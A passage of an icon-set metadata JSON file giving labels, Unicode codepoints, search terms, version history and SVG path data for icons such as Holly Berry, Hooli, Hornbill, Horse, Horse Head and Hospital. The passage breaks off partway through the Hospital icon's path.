    "unicode": "f7aa",
    "label": "Holly Berry",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-80 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM276.8 383.8c1 .1 2.1 .2 3.2 .2c39.8 0 72 32.2 72 72v22.7c0 16.4 16 27.9 31.6 22.8l12.8-4.3c18-6 37.3-6.5 55.6-1.5l19.4 5.3c17.9 4.9 34.4-11.6 29.5-29.5L495.6 452c-5-18.3-4.4-37.6 1.5-55.6l4.3-12.8c5.2-15.5-6.4-31.6-22.8-31.6c-34.6 0-62.7-28.1-62.7-62.7v-32c0-16.4-16-27.9-31.6-22.8l-12.8 4.3c-18 6-37.3 6.5-55.6 1.5l-29.6-8.1c-2.9-.8-5.9-1-8.7-.7c4.2 9.7 5.8 20.8 3.7 32.3L275 298.7c-1.5 8.4-1.4 17 .5 25.3l5.3 23.9c2.8 12.7 1.1 25.2-4 35.9zM127.6 234.5c-15.5-5.2-31.6 6.4-31.6 22.8v32C96 323.9 67.9 352 33.3 352c-16.4 0-27.9 16-22.8 31.6l4.3 12.8c6 18 6.5 37.3 1.5 55.6l-5.3 19.4C6.2 489.4 22.6 505.8 40.5 501L60 495.6c18.3-5 37.6-4.5 55.6 1.5l12.8 4.3c15.5 5.2 31.6-6.4 31.6-22.8v-32c0-34.6 28.1-62.7 62.7-62.7c16.4 0 27.9-16 22.8-31.6l-4.3-12.8c-6-18-6.5-37.3-1.5-55.6l5.3-19.4c4.9-17.9-11.6-34.4-29.5-29.5L196 240.4c-18.3 5-37.6 4.4-55.6-1.5l-12.8-4.3zM384 144a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-80 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM276.8 383.8c1 .1 2.1 .2 3.2 .2c39.8 0 72 32.2 72 72v22.7c0 16.4 16 27.9 31.6 22.8l12.8-4.3c18-6 37.3-6.5 55.6-1.5l19.4 5.3c17.9 4.9 34.4-11.6 29.5-29.5L495.6 452c-5-18.3-4.4-37.6 1.5-55.6l4.3-12.8c5.2-15.5-6.4-31.6-22.8-31.6c-34.6 0-62.7-28.1-62.7-62.7v-32c0-16.4-16-27.9-31.6-22.8l-12.8 4.3c-18 6-37.3 6.5-55.6 1.5l-29.6-8.1c-2.9-.8-5.9-1-8.7-.7c4.2 9.7 5.8 20.8 3.7 32.3L275 298.7c-1.5 8.4-1.4 17 .5 25.3l5.3 23.9c2.8 12.7 1.1 25.2-4 35.9zM127.6 234.5c-15.5-5.2-31.6 6.4-31.6 22.8v32C96 323.9 67.9 352 33.3 352c-16.4 0-27.9 16-22.8 31.6l4.3 12.8c6 18 6.5 37.3 1.5 55.6l-5.3 19.4C6.2 489.4 22.6 505.8 40.5 501L60 495.6c18.3-5 37.6-4.5 55.6 1.5l12.8 4.3c15.5 5.2 31.6-6.4 31.6-22.8v-32c0-34.6 28.1-62.7 62.7-62.7c16.4 0 27.9-16 22.8-31.6l-4.3-12.8c-6-18-6.5-37.3-1.5-55.6l5.3-19.4c4.9-17.9-11.6-34.4-29.5-29.5L196 240.4c-18.3 5-37.6 4.4-55.6-1.5l-12.8-4.3zM384 144a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "hooli": {
    "changes": ["5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f427",
    "label": "Hooli",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z"
      }
    },
    "free": ["brands"]
  },
  "hornbill": {
    "changes": ["5.1.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f592",
    "label": "Hornbill",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z"
      }
    },
    "free": ["brands"]
  },
  "horse": {
    "aliases": {
      "unicodes": {
        "composite": ["1f40e"],
        "secondary": ["10f6f0"]
      }
    },
    "changes": ["5.4.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "equestrian",
        "equus",
        "fauna",
        "horse",
        "mammmal",
        "mare",
        "neigh",
        "pony",
        "racehorse",
        "racing"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6f0",
    "label": "Horse",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M448 238.1V160h16l9.8 19.6c12.5 25.1 42.2 36.4 68.3 26c20.5-8.2 33.9-28 33.9-50.1V80c0-19.1-8.4-36.3-21.7-48H560c8.8 0 16-7.2 16-16s-7.2-16-16-16H480 448C377.3 0 320 57.3 320 128H224 203.2 148.8c-30.7 0-57.6 16.3-72.5 40.8C33.2 174.5 0 211.4 0 256v56c0 13.3 10.7 24 24 24s24-10.7 24-24V256c0-13.4 6.6-25.2 16.7-32.5c1.6 13 6.3 25.4 13.6 36.4l28.2 42.4c8.3 12.4 6.4 28.7-1.2 41.6c-16.5 28-20.6 62.2-10 93.9l17.5 52.4c4.4 13.1 16.6 21.9 30.4 21.9h33.7c21.8 0 37.3-21.4 30.4-42.1l-20.8-62.5c-2.1-6.4-.5-13.4 4.3-18.2l12.7-12.7c13.2-13.2 20.6-31.1 20.6-49.7c0-2.3-.1-4.6-.3-6.9l84 24c4.1 1.2 8.2 2.1 12.3 2.8V480c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V315.7c19.2-19.2 31.5-45.7 32-75.7h0v-1.9zM496 64a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M448 238.1V160h16l9.8 19.6c12.5 25.1 42.2 36.4 68.3 26c20.5-8.2 33.9-28 33.9-50.1V80c0-19.1-8.4-36.3-21.7-48H560c8.8 0 16-7.2 16-16s-7.2-16-16-16H480 448C377.3 0 320 57.3 320 128H224 203.2 148.8c-30.7 0-57.6 16.3-72.5 40.8C33.2 174.5 0 211.4 0 256v56c0 13.3 10.7 24 24 24s24-10.7 24-24V256c0-13.4 6.6-25.2 16.7-32.5c1.6 13 6.3 25.4 13.6 36.4l28.2 42.4c8.3 12.4 6.4 28.7-1.2 41.6c-16.5 28-20.6 62.2-10 93.9l17.5 52.4c4.4 13.1 16.6 21.9 30.4 21.9h33.7c21.8 0 37.3-21.4 30.4-42.1l-20.8-62.5c-2.1-6.4-.5-13.4 4.3-18.2l12.7-12.7c13.2-13.2 20.6-31.1 20.6-49.7c0-2.3-.1-4.6-.3-6.9l84 24c4.1 1.2 8.2 2.1 12.3 2.8V480c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V315.7c19.2-19.2 31.5-45.7 32-75.7h0v-1.9zM496 64a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "horse-head": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7ab"]
      }
    },
    "changes": ["5.6.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["equus", "fauna", "mammmal", "mare", "neigh", "pony"]
    },
    "styles": ["solid"],
    "unicode": "f7ab",
    "label": "Horse Head",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 464V316.9c0-108.4 68.3-205.1 170.5-241.3L404.2 15.5C425.6 7.9 448 23.8 448 46.4c0 11-5.5 21.2-14.6 27.3L400 96c48.1 0 91.2 29.8 108.1 74.9l48.6 129.5c11.8 31.4 4.1 66.8-19.6 90.5c-16 16-37.8 25.1-60.5 25.1h-3.4c-26.1 0-50.9-11.6-67.6-31.7l-32.3-38.7c-11.7 4.1-24.2 6.4-37.3 6.4l-.1 0 0 0c-6.3 0-12.5-.5-18.6-1.5c-3.6-.6-7.2-1.4-10.7-2.3l0 0c-28.9-7.8-53.1-26.8-67.8-52.2c-4.4-7.6-14.2-10.3-21.9-5.8s-10.3 14.2-5.8 21.9c24 41.5 68.3 70 119.3 71.9l47.2 70.8c4 6.1 6.2 13.2 6.2 20.4c0 20.3-16.5 36.8-36.8 36.8H112c-26.5 0-48-21.5-48-48zM392 224a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 464V316.9c0-108.4 68.3-205.1 170.5-241.3L404.2 15.5C425.6 7.9 448 23.8 448 46.4c0 11-5.5 21.2-14.6 27.3L400 96c48.1 0 91.2 29.8 108.1 74.9l48.6 129.5c11.8 31.4 4.1 66.8-19.6 90.5c-16 16-37.8 25.1-60.5 25.1h-3.4c-26.1 0-50.9-11.6-67.6-31.7l-32.3-38.7c-11.7 4.1-24.2 6.4-37.3 6.4l-.1 0 0 0c-6.3 0-12.5-.5-18.6-1.5c-3.6-.6-7.2-1.4-10.7-2.3l0 0c-28.9-7.8-53.1-26.8-67.8-52.2c-4.4-7.6-14.2-10.3-21.9-5.8s-10.3 14.2-5.8 21.9c24 41.5 68.3 70 119.3 71.9l47.2 70.8c4 6.1 6.2 13.2 6.2 20.4c0 20.3-16.5 36.8-36.8 36.8H112c-26.5 0-48-21.5-48-48zM392 224a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "hospital": {
    "aliases": {
      "names": ["hospital-alt", "hospital-wide"],
      "unicodes": {
        "composite": ["1f3e5", "f47d"],
        "primary": ["f47d"],
        "secondary": ["10f0f8", "10f47d"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "covid-19",
        "doctor",
        "emergency room",
        "hospital",
        "medical center",
        "medicine"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0f8",
    "label": "Hospital",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 48c0-26.5 21.5-48 48-48H400c26.5 0 48 21.5 48 48V512H368V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H192V48zM48 96H160V512H48c-26.5 0-48-21.5-48-48V320H80c8.8 0 16-7.2 16-16s-7.2-16-16-16H0V224H80c8.8 0 16-7.2 16-16s-7.2-16-16-16H0V144c0-26.5 21.5-48 48-48zm544 0c26.5 0 48 21.5 48 48v48H560c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H560c-8.8 0-16 7.2-16 16s7.2 16 16 16h80V464c0 26.5-21.5 48-48 48H480V96H592zM312 64c-8.8 0-16 7.2-16 16v24H272c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h24v24c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V152h24c8.8 0 16-7.2 16-16V120c0-8.8-7.2-16-16-16H344V80c0-8.8-7.2-16-16-16H312z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 48c0-26.5 21.5-48 48-48H400c26.5 0 48 21.5 48 48V512H368V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H192V48zM48 96H160V512H48c-26.5 0-48-21.5-48-48V320H80c8.8 0 16-7.2 16-16s-7.2-16-16-16H0V224H80c8.8 0 16-7.2 16-16s-7.2-16-16-16H0V144c0-26.5 21.5-48 48-48zm544 0c26.5 0 48 21.5 48 48v48H560c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H560c-8.8 0-16 7.2-16 16s7.2 16 16 16h80V464c0 26.5-21.5 48-48 48H480V96H592zM312 64c-8.8 0-16 7.2-16 16v24H272c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h24v24c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V152h24c8.8 0 16-7.2 16-16V120c0-8.8-7.2-16-16-16H344V80c0-8.8-7.2-16-16-16H312z"
      },
      "regular": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M232 0c-39.8 0-72 32.2-72 72v8H72C32.2 80 0 112.2 0 152V440c0 39.8 32.2 72 72 72h.2 .2 .2 .2 .2H73h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H75h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H77h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H79h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H82h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H85h.2 .2 .2 .2H86h.2 .2 .2 .2H87h.2 .2 .2 .2H88h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H98h.2 .2 .2 .2H99h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2v0H456h8v0H568c39.8 0 72-32.2 72-72V152c0-39.8-32.2-72-72-72H480V72c0-39.8-32.2-72-72-72H232zM480 128h88c13.3 0 24 10.7 24 24v40H536c-13.3 0-24 10.7-24 24s10.7 24 24 24h56v48H536c-13.3 0-24 10.7-24 24s10.7 24 24 24h56V440c0 13.3-10.7 24-24 24H480V336 128zM72 128h88V464h-.1-.2-.2-.2H159h-.2-.2-.2H158h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H154h-.2-.2-.2H153h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H150h-.2-.2-.2H149h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H146h-.2-.2-.2H145h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H142h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H139h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H136h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H133h-.2-.2-.2-.2-.2-.2-.2-.2H131h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H128h-.2-.2-.2-.2-.2-.2-.2-.2H126h-.2-.2-.2-.2-.2-.2-.2-.2H124h-.2-.2-.2-.2-.2-.2-.2-.2H122h-.2-.2-.2-.2-.2-.2-.2-.2H120h-.2-.2-.2-.2-.2-.2-.2-.2H118h-.2-.2-.2-.2-.2-.2-.2-.2H116h-.2-.2-.2-.2-.2-.2-.2-.2H114h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H111h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H108h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H105h-.2-.2-.2-.2H104h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H100h-.2-.2-.2-.2H99h-.2-.2-.2-.2H98h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H88h-.2-.2-.2-.2H87h-.2-.2-.2-.2H86h-.2-.2-.2-.2H85h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H82h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H79h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H77h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H75h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H73h-.2-.2-.2-.2-.2H72c-13.2 0-24-10.7-24-24V336h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H48V240h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H48V152c0-13.3 10.7-24 24-24zM208 72c0-13.3 10.7-24 24-24H408c13.3 0 24 10.7 24 24V336 464H368V400c0-26.5-21.5-48-48-48s-48 21.5-48 48v64H208V72zm88 24v24H272c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h24v24c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V168h24c8.8 0 16-7.2 16-16V136c0-8.8-7.2-16-16-16H344V96c0-8.8-7.2-16-16-16H312c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M232 0c-39.8 0-72 32.2-72 72v8H72C32.2 80 0 112.2 0 152V440c0 39.8 32.2 72 72 72h.2 .2 .2 .2 .2H73h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H75h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H77h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H79h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H82h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H85h.2 .2 .2 .2H86h.2 .2 .2 .2H87h.2 .2 .2 .2H88h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H98h.2 .2 .2 .2H99h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 